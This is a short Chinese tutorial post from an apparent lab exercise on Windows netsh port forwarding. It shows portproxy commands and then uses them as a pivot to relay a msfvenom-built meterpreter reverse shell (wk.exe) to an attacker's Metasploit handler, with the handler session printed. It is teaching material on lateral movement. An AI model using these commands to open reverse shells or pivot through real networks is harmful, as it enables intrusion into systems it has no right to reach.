sh端口映射
netsh是windows系统自带的一个命令行工具,这个工具可以内置端口转发功能
实验场景
web服务器的80端口转发到win10的7777端口上,kali通过访问win10的7777端口进行访问没问你web服务器。
netsh interface portproxy add v4tov4 listenport=win10设置的端口 connectaddress= web服务 器(ip) connectport=端口
netsh interface portproxy add v4tov4 listenport=7777 connectaddress=10.10.1.129 connectport=80
其他命令
清除指定规则
netsh interface portproxy delete v4tov4 listenport=7777
查看转发规则
netsh interface portproxy show all
清除所有规则规则
netsh interface portproxy reset
不能访问可能是A服务器存在防火墙 对7777端口进行过滤
sh端口转发监听metperter
MSF生成windows的shell
msfvenom -p windows/meterpreter/reverse_tcp > lhost=10.10.1.128 lport=4321 -f exe>wk.exe
服务器输入端口转发命令
netsh interface portproxy add v4tov4 listenport=4321 connectaddress=192.168.43.17 connectport=4321
接收到反弹的shell
msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcpmsf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf6 exploit(multi/handler) > set lhost 192.168.43.17lhost => 192.168.43.17msf6 exploit(multi/handler) > set lport 4321lport => 4321msf6 exploit(multi/handler) > run
如果觉得《netsh端口映射与端口转发》对你有帮助,请点赞、收藏,并留下你的观点哦!